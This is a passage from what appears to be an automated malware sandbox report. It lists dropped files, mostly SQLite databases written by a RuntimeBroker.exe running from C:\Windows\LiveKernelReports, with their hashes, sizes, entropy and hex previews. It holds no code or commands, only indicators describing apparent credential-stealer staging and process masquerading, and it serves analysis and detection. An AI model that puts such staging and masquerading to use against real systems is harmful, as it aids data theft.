SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Nk3oF5AD7f

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ORbsna6zr0

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OlgNRJm9Kj

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OvRN5nW0jy

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OyOktdzJ3e

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PCNJ91y7Eh

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PG9YsDVKpA

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PmwHBwtTFe

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PqngadWsia

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PtuLBdrtP1

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q2sTLvjWwC

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q8NZVJRSwI

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QAlNaxzMRv

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QRP3Ek5b4G

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RBiiEyiQCR

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESBF2D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6d4, 10 symbols, created Sat Jan 11 07:16:07 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1932
Entropy (8bit):	4.613005317386376
Encrypted:	false
SSDEEP:	24:HjfW9JLzcXQBtbaHIQwKDMHNSlmxT0uZhNB+h9PNnqpdt4+lEbNFjMyi0+5gcN:TaLzZCIKDMHslmuulB+hnqXSfbNtmh5N
MD5:	403E0ABBA551517D0F4CB6BC10DE9038
SHA1:	ED4A756D4635509576AC8B47A381B5C82C1457FB
SHA-256:	7EF3F899ED94C40CE3977E02F459BDEEC276670D9552A1F1A9C4EB4FB6609CC8
SHA-512:	11E72D261B6FD1189D5B36D8C27AA4B0855842E9AF2C5CD81C0AFD6E116E89E8DC29B7C5053C0B2DF4AAD137D5DEED5B080748368DC71A2FB9A59DEB3C0B5857
Malicious:	false
Preview:	L......g.............debug$S........\...................@..B.rsrc$01............................@..@.rsrc$02........8...................@..@........[....c:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP....................q.QK.......N..........7.......C:\Users\user\AppData\Local\Temp\RESBF2D.tmp.-.<....................a..Microsoft (R) CVTRES.a.=..cwd.C:\ServerWinRuntimeBroker.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe....................... .......8.......................P.......................h.......................................................D...............................................D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.

C:\Users\user\AppData\Local\Temp\RESC121.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6ec, 10 symbols, created Sat Jan 11 07:16:07 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	4.560599855665032
Encrypted:	false
SSDEEP:	24:H7O9GXOXjtbaHgwKDMHNaluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+QlUZ:0XQvKDMHEluOulajfqXSfbNtmh1Z
MD5:	93F51BB1B47E66279DD4D910D78CD19A
SHA1:	697D047F6C0F6A3FBCDAEF718CDFE81ADD0347F6
SHA-256:	CF218BD2BFD1CD18B68C3B74C9244ED7734067DF02A8AB5B67380D991B76FBF3
SHA-512:	05FCCF670047117CE13D4A51A7A232593B84CF0662BF28521A805AC28B105D36FB9568C44F4AD314AE46104075B9DDD8F5974FDA2AA995FE3975A420B90EFE49
Malicious:	false
Preview:	L......g.............debug$S........<...................@..B.rsrc$01................h...........@..@.rsrc$02........p...\|...............@..@........<....c:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP..................r.av..t.y..............7.......C:\Users\user\AppData\Local\Temp\RESC121.tmp.-.<....................a..Microsoft (R) CVTRES.a.=..cwd.C:\ServerWinRuntimeBroker.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe....................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.

C:\Users\user\AppData\Local\Temp\ROoiZtUjZt

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Rlvq4UqmMu

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SYXCZQInFG

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SdOOWi3B5L

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SvVux5DUJ8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TGidGFSPeb

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TJXF0gu2Uu

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U8s1VXJGab

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
